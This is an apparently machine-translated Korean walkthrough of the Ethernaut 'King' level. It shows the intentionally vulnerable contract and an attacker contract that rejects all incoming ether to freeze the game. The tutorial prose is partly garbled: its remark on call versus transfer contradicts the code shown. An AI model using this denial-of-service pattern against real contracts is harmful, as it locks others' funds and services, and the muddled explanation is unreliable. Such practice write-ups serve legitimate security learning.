Ethernaut: 9. 왕

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}


폰지는 0.001 에테르로 시작합니다. 우리는 더 크거나 동등한 이더를 제공함으로써 게임을 악용할 수 있지만, 이더 수신을 허용하지 않는 계약을 통해 합니다. 이렇게 하면 누군가가 새로운 왕이 될 자격이 있는 경우 상품을 보내려고 할 때 거래가 실패합니다!

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

contract OneWayForward {  

  receive () external payable {
    revert("Im the king!");
  }

  fallback () external payable {
    revert("Im the king!");
  }

  function forward(address payable _to) public payable {
    (bool sent, ) = _to.call{value: msg.value}("");
    require(sent, "forwarded call failed");
  }

}


계약은 간단합니다. 전달 기능은 보낸 돈을 특정 주소로 전달합니다. 수신 주소는 계약을 msg.sender로 알지만 돈을 돌려 보낼 수는 없습니다. receivefallback 기능을 구현하지 않음으로써 돈을 받는 것을 방지할 수 있습니다. 저 같은 경우는 좀 건방지게 하고 싶어서 구현했는데 속으로는 "I'm the king!"그들이 나에게 돈을 보낼 때 메시지;)

통화 대 전송에 대한 참고 사항: _to.call{value: msg.value}("") 대신 _to.transfer(msg.value)를 사용했습니다. 이것은 transfer가 수신자에게 2300 가스를 보내지만 해당 가스가 코드를 실행하기에 항상 충분하지 않을 수 있기 때문입니다. 그래서 우리는 모든 가스를 call로 전달해야 합니다.

좋은 웹페이지 즐겨찾기